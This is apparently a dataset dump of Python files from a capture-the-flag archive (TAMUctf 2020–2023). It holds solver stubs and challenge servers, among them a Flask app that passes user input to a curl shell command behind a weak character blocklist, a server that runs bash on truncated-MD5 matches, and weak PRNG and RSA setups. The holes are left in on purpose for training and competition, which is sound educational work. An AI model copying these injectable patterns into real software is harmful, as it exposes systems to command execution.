repo stringlengths 7 90 | file_url stringlengths 81 315 | file_path stringlengths 4 228 | content stringlengths 0 32.8k | language stringclasses 1 value | license stringclasses 7 values | commit_sha stringlengths 40 40 | retrieved_at stringdate 2026-01-04 14:38:15 2026-01-05 02:33:18 | truncated bool 2 classes |
|---|---|---|---|---|---|---|---|---|
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/pwn/randomness/solver-template.py | ctfs/TAMUctf/2023/pwn/randomness/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="randomness")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/pwn/pointers/solver-template.py | ctfs/TAMUctf/2023/pwn/pointers/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="pointers")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/rev/absolute-cap/solver-template.py | ctfs/TAMUctf/2023/rev/absolute-cap/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="absolute-cap")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/embedded/Courier/solver-template.py | ctfs/TAMUctf/2023/embedded/Courier/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="courier")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/crypto/md5/server.py | ctfs/TAMUctf/2023/crypto/md5/server.py | import hashlib
import subprocess
def md5sum(b: bytes):
return hashlib.md5(b).digest()[:3]
whitelisted_cmd = b'echo lmao'
whitelisted_hash = md5sum(whitelisted_cmd)
def main():
while True:
cmd = input('> ').encode()
if cmd == b'exit':
print('Goodbye')
exit()
if md5sum(cmd) != whitelisted_hash:
print(f'Invalid command, try "{whitelisted_cmd.decode()}"')
continue
try:
out = subprocess.check_output(['/bin/bash', '-c', cmd])
print(out.decode())
except subprocess.CalledProcessError as e:
print(f'Command returned non-zero exit status {e.returncode}')
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/crypto/md5/solver-template.py | ctfs/TAMUctf/2023/crypto/md5/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="md5")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/crypto/shmooving-3/solver-template.py | ctfs/TAMUctf/2023/crypto/shmooving-3/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="shmooving-3")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/crypto/shmooving/solver-template.py | ctfs/TAMUctf/2023/crypto/shmooving/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="shmooving")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/crypto/vigenot/chall.py | ctfs/TAMUctf/2023/crypto/vigenot/chall.py | import re
from flag import flag, key
alpha = 'abcdefghijklmnopqrstuvwxyz'
regex = re.compile('[^a-zA-Z]')
msg = flag
key = key
def encrypt(msg, key):
ctxt = ''
msg = regex.sub('', msg).lower()
key = regex.sub('', key).lower()
for i in range(len(msg)):
index = alpha.index(msg[i]) ^ alpha.index(key[i % len(key)])
if index < 26:
ctxt += alpha[index]
else:
ctxt += msg[i]
if i % len(key) == len(key) - 1:
key = key[1:] + key[0]
return ctxt
c = encrypt(msg, key)
print("encrypted message: %s" % c)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/crypto/prng/server.py | ctfs/TAMUctf/2023/crypto/prng/server.py | import secrets
from flag import flag, m, a, c
class Rand:
def __init__(self, seed):
self.m = m
self.a = a
self.c = c
self.seed = seed
if seed % 2 == 0: # initial state must be odd
self.seed += 1
def rand(self):
self.seed = (self.a * self.seed + self.c) % self.m
return self.seed
def main():
seed = secrets.choice(range(0, 0x7fffffffffffffff))
rng = Rand(seed)
chall = []
for _ in range(10):
chall.append(rng.rand())
print(f"Authenticate. Provide the next 10 numbers following")
for c in chall:
print(c)
for _ in range(10):
x = int(input('> '))
if x != rng.rand():
print("Access denied.")
exit()
print("Access granted.")
print(flag)
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/crypto/prng/solver-template.py | ctfs/TAMUctf/2023/crypto/prng/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="prng")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/crypto/numbers-pensive/server.py | ctfs/TAMUctf/2023/crypto/numbers-pensive/server.py | from Crypto.Util.number import getPrime
from Crypto.Random.random import getrandbits, randint
from pathlib import Path
from math import gcd
flag = Path("flag.txt").read_text()
e = 65537
while True:
p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
if gcd(e, phi) == 1:
break
print(f"n = {n}")
print(f"e = {e}")
while True:
chosen_e = int(input("Give me an `e`, and I'll give you a `d`: "))
if chosen_e == e:
print("Nice try!")
break
try:
print(pow(chosen_e, -1, phi))
except:
print("That's not invertible :pensive:")
continue
m = getrandbits(1024)
c = pow(m, e, n)
print("If you can decrypt this, I'll give you a flag!")
print(c)
ans = int(input("Your answer: "))
if ans == m:
print(flag)
break
else:
print("Numbers, am I right :pensive:")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/crypto/numbers-pensive/solver-template.py | ctfs/TAMUctf/2023/crypto/numbers-pensive/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="numbers-pensive")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2023/web/connect/app.py | ctfs/TAMUctf/2023/web/connect/app.py | import flask
import os
def escape_shell_cmd(data):
for char in data:
if char in '&#;`|*?~<>^()[]{}$\\':
return False
else:
return True
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.render_template('index.html')
@app.route('/api/curl', methods=['POST'])
def curl():
url = flask.request.form.get('ip')
if escape_shell_cmd(url):
command = "curl -s -D - -o /dev/null " + url + " | grep -oP '^HTTP.+[0-9]{3}'"
output = os.popen(command).read().strip()
if 'HTTP' not in output:
return flask.jsonify({'message': 'Error: No response'})
return flask.jsonify({'message': output})
else:
return flask.jsonify({'message': 'Illegal Characters Detected'})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8001)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/pwn/quick-mafs/solver-template.py | ctfs/TAMUctf/2022/pwn/quick-mafs/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="quick-mafs")
for binary in range(5):
instructions = p.recvline() # the server will give you instructions as to what your exploit should do
with open("elf", "wb") as file:
file.write(bytes.fromhex(p.recvline().rstrip().decode()))
# send whatever data you want
p.sendline(b"howdy".hex())
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/pwn/trivial/solver-template.py | ctfs/TAMUctf/2022/pwn/trivial/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="trivial")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/pwn/live_math_love/solver-template.py | ctfs/TAMUctf/2022/pwn/live_math_love/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="live-math-love")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/pwn/void/solver-template.py | ctfs/TAMUctf/2022/pwn/void/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="void")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/pwn/rop_golf/solver-template.py | ctfs/TAMUctf/2022/pwn/rop_golf/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="rop-golf")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/pwn/lucky/solver-template.py | ctfs/TAMUctf/2022/pwn/lucky/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="lucky")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/pwn/ctf_sim/solver-template.py | ctfs/TAMUctf/2022/pwn/ctf_sim/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="ctf-sim")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/pwn/one-and-done/solver-template.py | ctfs/TAMUctf/2022/pwn/one-and-done/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="one-and-done")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/rev/labyrinth/solver-template.py | ctfs/TAMUctf/2022/rev/labyrinth/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="labyrinth")
for binary in range(5):
with open("elf", "wb") as file:
file.write(bytes.fromhex(p.recvline().rstrip().decode()))
# send whatever data you want
p.sendline(b"howdy".hex())
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/rev/unboxing/solver-template.py | ctfs/TAMUctf/2022/rev/unboxing/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="unboxing")
for binary in range(5):
with open("elf", "wb") as file:
file.write(bytes.fromhex(p.recvline().rstrip().decode()))
# send whatever data you want
p.sendline(b"howdy".hex())
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/crypto/viktor/provided.py | ctfs/TAMUctf/2022/crypto/viktor/provided.py | import asyncio
import socket
import hashlib
from time import sleep, time
### CONSTANTS ###
PORTNUM = 49204
TIMEDPRINT = 0.08
FLAG = "[REDACTED]"
CONSTHASH = "667a32132baf411ebf34c81a242d9ef4bf72e288"
def timedOutput(writer, msg, delay):
for c in msg:
writer.write(bytes(c, "utf-8"))
sleep(delay)
def XOR(x, y):
return "".join([str(hex(int(a, 16)^int(b, 16)))[2:] for a,b in zip(x, y)])
### SERVER STUFF ###
async def handle_client(reader, writer):
timedOutput(writer, "[==== BOOT SEQUENCE INITATED ====]\n", TIMEDPRINT)
timedOutput(writer, "Waiting for connection", TIMEDPRINT)
timedOutput(writer, ".....", 8*TIMEDPRINT)
timedOutput(writer, "\nData transfer complete\n", TIMEDPRINT)
timedOutput(writer, "Expected Command Sequence Hash = ", TIMEDPRINT)
timedOutput(writer, CONSTHASH, TIMEDPRINT)
timedOutput(writer, "\nPlease enter the commands line by line\n", TIMEDPRINT)
timedOutput(writer, "When finished enter the command \"EXECUTE\" on the final line\n", TIMEDPRINT)
inputList = []
usrInput = (await reader.readline()).decode("utf-8").rstrip()
while(usrInput != "EXECUTE"):
inputList.append(usrInput)
usrInput = (await reader.readline()).decode("utf-8").rstrip()
hashList = [hashlib.sha1(x.encode()).hexdigest() for x in inputList]
hashVal = hashList[0]
for i in range(1, len(hashList)):
hashVal = XOR(hashVal, hashList[i])
timedOutput(writer, "\nVerifying", TIMEDPRINT)
timedOutput(writer, ".....\n", 8*TIMEDPRINT)
if(hashVal == CONSTHASH):
timedOutput(writer, "Command Sequence Verified\n", TIMEDPRINT)
timedOutput(writer, "[HAL] Authorization Code = ", TIMEDPRINT)
timedOutput(writer, FLAG, TIMEDPRINT)
timedOutput(writer, "\n", TIMEDPRINT)
else:
timedOutput(writer, "Invalid Command Sequence\n", TIMEDPRINT)
timedOutput(writer, "[==== SYSTEM SHUTDOWN ====]\n", TIMEDPRINT)
writer.close()
return
async def handle_wrap_timed(reader, writer):
try:
await asyncio.wait_for(handle_client(reader, writer), timeout=300)
except asyncio.exceptions.TimeoutError:
return
async def run_server():
server = await asyncio.start_server(handle_wrap_timed, '0.0.0.0', PORTNUM)
async with server:
await server.serve_forever()
asyncio.run(run_server())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/crypto/viktor/solver-template.py | ctfs/TAMUctf/2022/crypto/viktor/solver-template.py | from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="viktor")
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2022/crypto/rs-ayyy-how-you-doin/solver-template.py | ctfs/TAMUctf/2022/crypto/rs-ayyy-how-you-doin/solver-template.py | from pwn import *
# This allow for some networking magic
p = remote("tamuctf.com", 443, ssl=True, sni="rs-ayyy-how-you-doin")
## YOUR CODE GOES HERE
p.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2020/TOC_TO_WHO/client.py | ctfs/TAMUctf/2020/TOC_TO_WHO/client.py | import grpc
import argparse
import protobuf_pb2
import protobuf_pb2_grpc
import signal
class UserLogoutError(Exception):
pass
def signal_handler(signum, frame):
raise UserLogoutError('Logging user out')
class Client:
def __init__(self,hname,p,uname):
self.hostname = hname
self.port = p
self.username = uname
self.stub = protobuf_pb2_grpc.EchoServiceStub(grpc.insecure_channel(hname+":"+p))
self.password = ''
def encrypt(client, message):
xored = []
temp_pass = client.password
for i in range(len(message)):
xored_value = ord(message[i%len(message)]) ^ ord(temp_pass[i%len(temp_pass)])
xored.append(chr(xored_value))
return ''.join(xored)
def decrypt(client, message):
return encrypt(client, message)
def login(client):
response = input("You are about to login as user \"" + client.username + "\". Would you like to proceed? (y/n): ")
if response[0] == 'n':
client.username = input("Enter a new username: ")
client.password = input("Enter a new password: ")
reply = client.stub.Login(protobuf_pb2.Request(username=client.username,msg=client.password))
print(reply.msg)
def logout(client):
reply = client.stub.Logout(protobuf_pb2.ServiceUser(username=client.username))
print('User',client.username,'logging off.')
def echoClient(hostname,port,username):
client = Client(hostname, port, username)
login(client)
signal.signal(signal.SIGINT, signal_handler)
try:
print("Secure Echo Service starting up... Enter \"quit\" to exit.")
while True:
message = input("Message: ")
if message == 'quit':
logout(client)
break
reply = client.stub.SendEcho(protobuf_pb2.Request(username=client.username,msg=encrypt(client, message)))
reply = client.stub.ReceiveEcho(protobuf_pb2.ServiceUser(username=client.username))
print(decrypt(client, reply.msg))
except UserLogoutError:
logout(client)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Process some arguments")
parser.add_argument('--host',default='localhost')
parser.add_argument('-p','--port',default='3010')
parser.add_argument('-u','--user',default='default')
args = parser.parse_args()
echoClient(args.host,args.port,args.user)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2020/TOC_TO_WHO/protobuf_pb2_grpc.py | ctfs/TAMUctf/2020/TOC_TO_WHO/protobuf_pb2_grpc.py | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
import grpc
import protobuf_pb2 as protobuf__pb2
class EchoServiceStub(object):
"""The messenger service definition.
"""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.Login = channel.unary_unary(
'/tamuctf.EchoService/Login',
request_serializer=protobuf__pb2.Request.SerializeToString,
response_deserializer=protobuf__pb2.Reply.FromString,
)
self.Logout = channel.unary_unary(
'/tamuctf.EchoService/Logout',
request_serializer=protobuf__pb2.ServiceUser.SerializeToString,
response_deserializer=protobuf__pb2.Reply.FromString,
)
self.SendEcho = channel.unary_unary(
'/tamuctf.EchoService/SendEcho',
request_serializer=protobuf__pb2.Request.SerializeToString,
response_deserializer=protobuf__pb2.Reply.FromString,
)
self.ReceiveEcho = channel.unary_unary(
'/tamuctf.EchoService/ReceiveEcho',
request_serializer=protobuf__pb2.ServiceUser.SerializeToString,
response_deserializer=protobuf__pb2.Reply.FromString,
)
class EchoServiceServicer(object):
"""The messenger service definition.
"""
def Login(self, request, context):
# missing associated documentation comment in .proto file
pass
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Logout(self, request, context):
# missing associated documentation comment in .proto file
pass
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def SendEcho(self, request, context):
# missing associated documentation comment in .proto file
pass
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def ReceiveEcho(self, request, context):
# missing associated documentation comment in .proto file
pass
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def add_EchoServiceServicer_to_server(servicer, server):
rpc_method_handlers = {
'Login': grpc.unary_unary_rpc_method_handler(
servicer.Login,
request_deserializer=protobuf__pb2.Request.FromString,
response_serializer=protobuf__pb2.Reply.SerializeToString,
),
'Logout': grpc.unary_unary_rpc_method_handler(
servicer.Logout,
request_deserializer=protobuf__pb2.ServiceUser.FromString,
response_serializer=protobuf__pb2.Reply.SerializeToString,
),
'SendEcho': grpc.unary_unary_rpc_method_handler(
servicer.SendEcho,
request_deserializer=protobuf__pb2.Request.FromString,
response_serializer=protobuf__pb2.Reply.SerializeToString,
),
'ReceiveEcho': grpc.unary_unary_rpc_method_handler(
servicer.ReceiveEcho,
request_deserializer=protobuf__pb2.ServiceUser.FromString,
response_serializer=protobuf__pb2.Reply.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'tamuctf.EchoService', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TAMUctf/2020/TOC_TO_WHO/protobuf_pb2.py | ctfs/TAMUctf/2020/TOC_TO_WHO/protobuf_pb2.py | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: protobuf.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from google.protobuf import timestamp_pb2 as google_dot_protobuf_dot_timestamp__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='protobuf.proto',
package='tamuctf',
syntax='proto3',
serialized_pb=_b('\n\x0eprotobuf.proto\x12\x07tamuctf\x1a\x1fgoogle/protobuf/timestamp.proto\"\x1f\n\x0bServiceUser\x12\x10\n\x08username\x18\x01 \x01(\t\"(\n\x07Request\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x0b\n\x03msg\x18\x02 \x01(\t\"\x14\n\x05Reply\x12\x0b\n\x03msg\x18\x01 \x01(\t\"W\n\x07Message\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x0b\n\x03msg\x18\x02 \x01(\t\x12-\n\ttimestamp\x18\x03 \x01(\x0b\x32\x1a.google.protobuf.Timestamp2\xd3\x01\n\x0b\x45\x63hoService\x12+\n\x05Login\x12\x10.tamuctf.Request\x1a\x0e.tamuctf.Reply\"\x00\x12\x30\n\x06Logout\x12\x14.tamuctf.ServiceUser\x1a\x0e.tamuctf.Reply\"\x00\x12.\n\x08SendEcho\x12\x10.tamuctf.Request\x1a\x0e.tamuctf.Reply\"\x00\x12\x35\n\x0bReceiveEcho\x12\x14.tamuctf.ServiceUser\x1a\x0e.tamuctf.Reply\"\x00\x62\x06proto3')
,
dependencies=[google_dot_protobuf_dot_timestamp__pb2.DESCRIPTOR,])
_SERVICEUSER = _descriptor.Descriptor(
name='ServiceUser',
full_name='tamuctf.ServiceUser',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='username', full_name='tamuctf.ServiceUser.username', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=60,
serialized_end=91,
)
_REQUEST = _descriptor.Descriptor(
name='Request',
full_name='tamuctf.Request',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='username', full_name='tamuctf.Request.username', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='msg', full_name='tamuctf.Request.msg', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=93,
serialized_end=133,
)
_REPLY = _descriptor.Descriptor(
name='Reply',
full_name='tamuctf.Reply',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='msg', full_name='tamuctf.Reply.msg', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=135,
serialized_end=155,
)
_MESSAGE = _descriptor.Descriptor(
name='Message',
full_name='tamuctf.Message',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='username', full_name='tamuctf.Message.username', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='msg', full_name='tamuctf.Message.msg', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='timestamp', full_name='tamuctf.Message.timestamp', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=157,
serialized_end=244,
)
_MESSAGE.fields_by_name['timestamp'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
DESCRIPTOR.message_types_by_name['ServiceUser'] = _SERVICEUSER
DESCRIPTOR.message_types_by_name['Request'] = _REQUEST
DESCRIPTOR.message_types_by_name['Reply'] = _REPLY
DESCRIPTOR.message_types_by_name['Message'] = _MESSAGE
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
ServiceUser = _reflection.GeneratedProtocolMessageType('ServiceUser', (_message.Message,), dict(
DESCRIPTOR = _SERVICEUSER,
__module__ = 'protobuf_pb2'
# @@protoc_insertion_point(class_scope:tamuctf.ServiceUser)
))
_sym_db.RegisterMessage(ServiceUser)
Request = _reflection.GeneratedProtocolMessageType('Request', (_message.Message,), dict(
DESCRIPTOR = _REQUEST,
__module__ = 'protobuf_pb2'
# @@protoc_insertion_point(class_scope:tamuctf.Request)
))
_sym_db.RegisterMessage(Request)
Reply = _reflection.GeneratedProtocolMessageType('Reply', (_message.Message,), dict(
DESCRIPTOR = _REPLY,
__module__ = 'protobuf_pb2'
# @@protoc_insertion_point(class_scope:tamuctf.Reply)
))
_sym_db.RegisterMessage(Reply)
Message = _reflection.GeneratedProtocolMessageType('Message', (_message.Message,), dict(
DESCRIPTOR = _MESSAGE,
__module__ = 'protobuf_pb2'
# @@protoc_insertion_point(class_scope:tamuctf.Message)
))
_sym_db.RegisterMessage(Message)
_ECHOSERVICE = _descriptor.ServiceDescriptor(
name='EchoService',
full_name='tamuctf.EchoService',
file=DESCRIPTOR,
index=0,
options=None,
serialized_start=247,
serialized_end=458,
methods=[
_descriptor.MethodDescriptor(
name='Login',
full_name='tamuctf.EchoService.Login',
index=0,
containing_service=None,
input_type=_REQUEST,
output_type=_REPLY,
options=None,
),
